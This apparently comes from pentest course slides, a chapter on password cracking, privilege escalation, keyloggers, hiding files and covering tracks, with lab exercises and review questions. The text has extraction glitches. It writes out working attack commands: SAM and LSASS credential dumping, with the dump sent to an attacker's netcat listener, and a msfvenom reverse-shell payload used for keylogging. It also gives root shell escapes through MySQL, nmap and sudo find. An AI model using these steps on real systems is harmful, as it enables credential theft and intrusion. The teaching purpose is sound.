SUMMARY
Chap01: Introduction to “Pentest”
Chap02: Gathering Target Information: Reconnaissance, Footprinting, and Social
Engineering
Chap03: Gathering Network and Host Information: Scanning and Enumeration
Chap04: System Pentesting: Password Cracking, Escalating Privileges, and Hiding Files
Chap05: Trojans, Backdoors, Viruses, and Worms
Chap06: Gathering Data from Networks: Sniffers
Chap07: Web Pentesting: Google, Web Servers, Web Application Vulnerabilities,
Chap08: Attacking web Applications: SQL Injection
Chap09: Pentesting Linux Systems
Chap10: Pentesting Mobile Platforms (Android)
Chap
Chap System Hacking: Password Cracking,
Escalating Privileges, and Hiding Files
44 OBJECTIVES COVERED IN T H I S C H AP
01 Understand password-
cracking techniques
05 Understand keyloggers
and other spyware
technologies
02 Understand different
types of passwords 06 Understand how to hide
files
03 Identify various
password-cracking tools 07 Understand steganography
technologies
04 Understand escalating
privileges 08 Understand how to cover
your tracks and erase
evidence
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Password Cracking
44 Sniffing : The password is
captured during the authentication
process and can then be compared
against a dictionary file or word list.
Man-in-the-middle
(MITM):
Hacker intercepts the authentication request and
forwards it to the server. By inserting a sniffer
between the client and the server, the hacker is
able to sniff both connections and capture
passwords in the process
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Password Cracking
44
Brute-force Dictionary Hybrid
attack Attack Attack
Tries all possible IDEA
Use passwords from a Substitutes numbers of
combinations of letters, list of dictionary words symbols for password
numbers, and special characters
characters
Ms!tr245@F5a Administrator Adm1n1strator
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Password Cracking
44 Nonelectronic Attacks
Nonelectronic—or nontechnical attacks—are attacks that do not employ any
technical knowledge. This kind of attack can include social engineering,
shoulder surfing, keyboard sniffing, and dumpster diving
SHOULDER
DUMPSTER
SURFING
DIVING
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
44
Exercise 4.1: Cracking windows Security Account
Manager (SAM) is a database file
1. On windows 7 VM create a new user with password 123456
2. On Windows 7 copy Tools\Chap 4\pwdump7 and john-1.9.0-jumbo-1-win64
3. Open cmd (As administrator)
4. Type : cd path to pwdump7
5. Type: [Link] > I:\[Link] Export SAM file
6. Kali-linux : john --format=NT [Link] cracking the hash
7. john --show [Link]
Chap OS CREDENTIAL DUMPING: LSASS MEMORY
4 What is [Link]?
[Link] stands for Local Security Authority Subsystem Service.
LSA (Local Security Authority) is the central component of the security
subsystem in the Microsoft Windows operating system. The Local Security
Authority (LSA) is responsible for managing interactive logons to the system.
entering a username and password
Compare hashes
LSAss
SAM
Create logon session
and return SID security identifier
Username:password matches
Authentication error NO matches
Chap OS CREDENTIAL DUMPING: LSASS MEMORY
4 * On windows :
- download procdump :
[Link]
- Dump Lsaas process:
PS > Get-Process -Name lsass
PS C:\Users\IEUser\Downloads\Procdump> .\[Link] -ma 436
[Link]
*On windows : download netcat :
[Link]
*On Kali :
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlp 123 > [Link]
*On windows :
C:\netcat-1.11> [Link] [Link] 123 <
C:\Users\IEUser\Downloads\Procdump\[Link]
*On Kali : Use pypykatz to get password:
┌──(kali㉿kali)-[~/Desktop]
└─$ pypykatz lsa minidump [Link]
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Keyloggers and Other Spyware Technologies
44 If all other attempts to gather passwords fail, then
a keystroke logger is the tool of choice for
hackers. Keystroke loggers (keyloggers) can be
implemented either using hardware or software.
Hardware keyloggers are small hardware devices
that connect the keyboard to the PC and save
every keystroke into a file or in the memory of the
hardware device. In order to install a hardware
keylogger, a hacker must have physical access to
the system.
Software keyloggers are pieces of stealth software
that sit between the keyboard hard-ware and the
operating system so that they can record every
keystroke. Software keyloggers can be deployed
on a system by Trojans or viruses
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
44
Exercise 4.2:Keylogger making with msfvenom
Workshop prerequisite:
- windows 7 VM
- Kali-linux
Objectif: create a kelogger with msfvenom to log password entered by victim and send it
to attacker
Steps:
1- Generate payload:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444
-f exe -o [Link]
2- Copy payload to www directory of Kali:
root@kali:~# sudo mkdir /var/www/html/tools
root@kali:~# sudo cp [Link] /var/www/html/tools
root@kali:~# sudo service apache2 start
3- Launch metasploit:
root@kali:~# msfconsole
msf > use multi/handler
msf exploit(multi/handler) > set LHOST [Link]
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
44
Exercise 4.2:Keylogger making with msfvenom
From Windows 7 :
Go to [Link] and download the shell,exe
install
In Kali: a meterpreter session is launched
meterpreter > run post/windows/gather/hashdump
meterpreter > ps
meterpreter > ps |grep logon
Filtering on 'logon'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
868 1004 [Link] x64 1 AUTORITE NT\Systme
C:\Windows\System32\[Link]
meterpreter > migrate 868
[*] Migrating from 6080 to 868...
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
06155977<CR>
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Escalating Privileges
44 Escalating privileges basically means adding
more rights or permissions to a user account.
Simply said, escalating privileges makes a
regular user account into an administrator
account.
Generally, administrator accounts have more
stringent password requirements. If it isn’t
possible to find a username and password of
an account with administrator privileges, a
hacker may choose to use an account with
lower privileges. In this case, the hacker must
then escalate that account’s privileges
the hacker is able to execute applications, the
system is considered owned and under the
control of the hacker
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Escalating Privileges
44 Techniques used for Privilege escalation
1 KERNEL EXPLOITS
Kernel exploits are programs that leverage kernel
vulnerabilities in order to execute arbitrary code with
elevated permissions. Successful kernel exploits typically
give attackers super user access to target systems in the
form of a root command prompt. In many cases,
escalating to root on a Linux system is as simple as
downloading a kernel exploit to the target file system,
compiling the exploit, and then executing it
Example: DirtyCow exploit – Linux Kernel <= 3.19.0-73.8
- $ uname -a – gives us the kernel version which we know is vulnerable to dirtycow
- Downloaded the dirtycow exploit from here – [Link]
- Compiled and executed it (GCC ). It replaces the ‘root’ user with a new user ‘rash’ by editing the
/etc/passwd file.
« $ searchsploit Linux Kernel x.x,x »
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Escalating Privileges
44 Techniques used for Privilege escalation
EXPLOITING SERVICES WHICH
2 ARE RUNNING AS ROOT
You should always check if web servers, mail
servers, database servers, etc. are running as
root. Many a times, web admins run these
services as root and forget about the security
issues it might cause. There could be services
which run locally and are not exposed publicly
which can also be exploited.
EXAMPLE: EXPLOITING A VULNERABLE VERSION OF MYSQL
WHICH IS RUNNING AS ROOT TO GET ROOT ACCESS
$ ps -aux | grep root /usr/sbin/mysqld – It shows us the services
which are running as root.
mysql> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod
+s /tmp/sh')
mysql> exit
user1t@server:~$ ls /tmp/
sh
user1t@server :/tmp$ ./sh
# whoami
root
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Escalating Privileges
44 Techniques used for Privilege escalation
3 EXPLOITING SUID EXECUTABLES
SUID which stands for set user ID, is a Linux feature that
allows users to execute a file with the permissions of a
specified user. For example, the Linux ping command
typically requires root permissions in order to open raw
network sockets. By marking the ping program as SUID
with the owner as root
$ find / -perm -u=s -type f 2>/dev/null :
prints the executables which have SUID bit set
EXAMPLE: EXPLOITING SUID IN NMAP
$ nmap –interactive – runs nmap interactive mode
$ !sh – Lets you escape to the system shell from nmap shell
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Escalating Privileges
44 Techniques used for Privilege escalation
4 EXPLOITING SUDO RIGHTS/USER
If the attacker can’t directly get root access via any other
techniques he might try to compromise any of the users
who have SUDO access. Once he has access to any of the
sudo users, he can basically execute any commands with
root privileges.
$ sudo -l
Prints the commands which we are allowed to run as
SUDO
EXAMPLE: EXPLOITING SUDO IN find
$ sudo find /home -exec sh -i \;
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
Hiding Files with attrib
44 A hacker may want to hide files on a system to prevent their detection. These files
may then be used to launch an attack on the system. There are two ways to hide files
in Windows. The first is to use the attribute
Example: attrib +h [file/directory]
- Create a file in your Desktop
- Hide this file with attrib
NTFS File Streaming
NTFS file streaming allows a hidden file to be created within a legitimate file. The
hidden file does not appear in a directory listing but the legitimate file does. A user
would usually not suspect the legitimate file, but the hidden file can be used to store
or transmit information
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
44 Exercise 4.3:Hiding Files Using NTFS File Streaming
1. At the command line, enter notepad [Link]
2. Put some data in the file, save the file, and close Notepad. Step 1 will open Notepad.
3. At the command line, enter dir [Link] and note the file size.
4. At the command line, enter notepad [Link]:[Link]. Type some text into Notepad,
save the file, and close it.
5. Check the file size again (it should be the same as in step 3).
6. Open [Link]. You see only the original data.
7. Enter notepad [Link]:[Link] at the command line
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
Steganography Technologies
44
Steganography is the process of hiding
data in other types of data such as images
or text files. The most popular method of
hiding data in files is to utilize graphic
images as hiding places
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
Exercise 4.4:Hiding data in an image Using stegosuite
44 1. Install the stegosuite in kali: apt-get install stegosuite
2. Download any image from internet
3. root@kali:~# stegosuite
4. Hide a message with password and Embed Button
5. Try to check the new image: strings file_name
6. Extract the message with Extract button
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
Exercise 4.4:Hiding text file in an image Using steghide
44 1.
2.
3.
[Link] the steghide in kali: apt-get install steghide
[Link] any image from internet and name it image,jpg
[Link]@kali:~# nano [Link] (Write a secret message here)
4. [Link]@kali:~# steghide embed -cf [Link] -ef [Link] -p 123456
5. [Link] la passphrase: (choose a password)
6. [Link] à nouveau la passphrase:
7. [Link] des données de "[Link]" dans "[Link]". terminé.
8. [Link] [Link]
9. [Link]@kali:~# steghide extract -sf [Link]
10. [Link]@kali:~# cat [Link]
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
44 Exercise 4.4:Hiding text file into text file Using snow
1.
2.
Download Snow: [Link]
In CMD go to C:/snowdos32
3. Create file: [Link] with content « This is a Public message ».
4. In CMD snow -C -m "This is a top secret message !!!!" -p "password" [Link]
[Link]
5. Delete [Link]
6. Decrypt with: snow -C -p "password" outfile,txt
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
44 Exercise StegoMagic
1.
2.
Download StegoMagic:
[Link]
Use StegoMagic_TXT.exe to hide a text message inside any other file of your choice such as an
image, video, sound or an EXE file.
3. Use StegoMagic_BIN.exe to hide one binary file in another.
For example,
You can hide a .jpg image in a .exe file or vice versa.
You can use this tool (StegoMagic_BIN.exe) to hide any file of your choice in any other file. There are
no limitations on what type of file can be hidden in one another. There are no limitations on the size of
the file as well. So it is possible to hide 1 GB video file in a 500 KB image file.
Keep the "secret decryption key" safe which is required during the decryption process. The key will be
displayed and a text file containing your secret decryption key will also be generated at the end of the
encryption process.
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
Covering Tracks and Erasing Evidence
44 Once intruders have successfully gained administrator
access on a system, they try to cover their tracks to
prevent detection of their presence (either current or
past) on the system.
A hacker may also try to remove evidence of their
identity or activities on the system to prevent tracing
of their identity or location by authorities. To prevent
detection,
The hacker usually erases any error messages or
security events that have been logged. Disabling
auditing and clearing the event log are two methods
used by a hacker to cover their tracks and avoid
detection
The first thing intruders do after gaining administrator
privileges is disable auditing. Windows auditing
records certain events in a log file that is stored in the
Windows Event Viewer.
System Hacking: Passw ord Cracking,
net view \\<computername>
Chap
Chap Escalating Privileges, and Hiding Files
Covering Tracks and Erasing Evidence: Tools
44
Evidence Eliminator
data-cleansing system for Windows PCs. It prevents unwanted
data from becoming permanently hidden in the system. It cleans
the Recycle Bin, Internet cache, system files, temp folders, and so
on. Evidence Eliminator can also be used by a hacker to remove
evidence from a system after an attack.
The [Link]
is a simple tool for clearing the event log. It’s command line based .
Linux
root@kali:/var/log#
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
44 Chap 4 Review Questions
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
1. What is the process of hiding text within an image called?
44 A.
B.
C.
D.
Steganography
Encryption
Spyware
Keystroke logging
2. Why would hackers want to cover their tracks?
A. To prevent another person from using the programs they
have installed on a target system
B. To prevent detection or discovery
3. What is privilege escalation?
A. Creating a user account with higher privileges.
B. Creating a user account with administrator privileges
C. Increasing privileges on a user account
4. What type of password attack would be most successful
against the password T63k#s23A?
A. Dictionary
B. Hybrid
C. Password guessing
D. Brute force
System Hacking: Passw ord Cracking,
Chap
Chap Escalating Privileges, and Hiding Files
5. Which of the following is a passive online attack?
44 A.
B.
C.
D.
Password guessing
Network sniffing
Brute-force attack
Dictionary attack
6. What is necessary in order to install a hardware keylogger on a
target system?
A. The IP address of the system
B. Physical access to the system
7. What is the easiest method to get a password?
A. Guessing.
B. Dictionary attack
C. Brute-force cracking
8. What type of hacking application is Snow?
A. Password cracker
B. Spyware
C. Steganography
D. Brute force